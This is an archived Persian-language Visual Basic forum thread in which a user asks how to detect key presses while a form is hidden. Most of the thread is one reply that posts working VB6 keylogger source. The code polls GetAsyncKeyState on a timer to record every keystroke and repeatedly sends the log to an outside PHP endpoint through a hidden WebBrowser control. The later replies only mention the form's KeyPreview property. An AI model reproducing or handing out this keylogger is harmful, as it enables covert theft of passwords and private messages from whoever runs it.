PDA

View Full Version : سوال: KeyDown در هنگام Hide بودن Form



m2011kh
یک شنبه 09 مهر 1391, 17:51 عصر
سلام دوستان.
من میخوام همون عمل KeyDown رو در حالت Form انجام بدم.
میدونم که این کار با توبع Api امکان پذیره.احتمالا تایپیکم تکراریه ولی هر چی سرچ کردم پیدا نکردم.
این شد که یه تایپیک جدید زدم.
ممنون میشم اگه سریع جواب بدید چون خیی سریع لازم دارم.
MMD

IamOverlord
یک شنبه 09 مهر 1391, 17:57 عصر
سلام دوست عزیز.
البته بستگی داره کجا و به چه زبانی جست و جو کردید!
قبلا سعی کرده بودم یه KeyLogger بنویسم می تونی از کد برنامه اش استفاده کنی، با تابع GetAsyncKeyState این کار انجام می شه:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Public strLog As String

Private Function CapsLockOn() As Boolean
Dim xState As Integer
xState = GetKeyState(vbKeyCapital)
CapsLockOn = (xState = 1 Or xState = -127)
End Function

Private Function ShiftDown() As Boolean
ShiftDown = (GetAsyncKeyState(vbKeyShift) And &H8000)
End Function

Private Sub Form_Load()
strLog = ""
WebBrowser1.Navigate "ektoplazm.ir/applications/keylogger_01/sendmsg.php?msg="
End Sub

Private Sub Timer1_Timer()
For i = 28 To 128
keys = 0
keys = GetAsyncKeyState(i)
If keys = -32767 Then
strchar = LCase(Chr(i))
If ShiftDown = True Xor CapsLockOn = True Then
strchar = UCase(strchar)
End If
strLog = strLog + strchar
End If
Next i
End Sub

Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)
WebBrowser1.Navigate "ektoplazm.ir/applications/keylogger_01/sendmsg.php?msg=" + Replace(strLog, " ", "%20")
For i = 1 To 1000000000
Next i
strLog = ""
End Sub

m2011kh
یک شنبه 09 مهر 1391, 19:05 عصر
میشه یکی نحوه استفاده از این تابعو شرح بده؟؟؟

SlowCode
یک شنبه 09 مهر 1391, 19:57 عصر
کافیه خاصیت KeyPreview فرم رو فعال کنی تا کدت اجرا بشه.

m2011kh
یک شنبه 09 مهر 1391, 20:01 عصر
میدونم ولی من به KeyDown خود ویژال اعتماد نداره یه جوریه انگار اگه تو ماژول زیاد ازش استفاده کنی جواب نمیده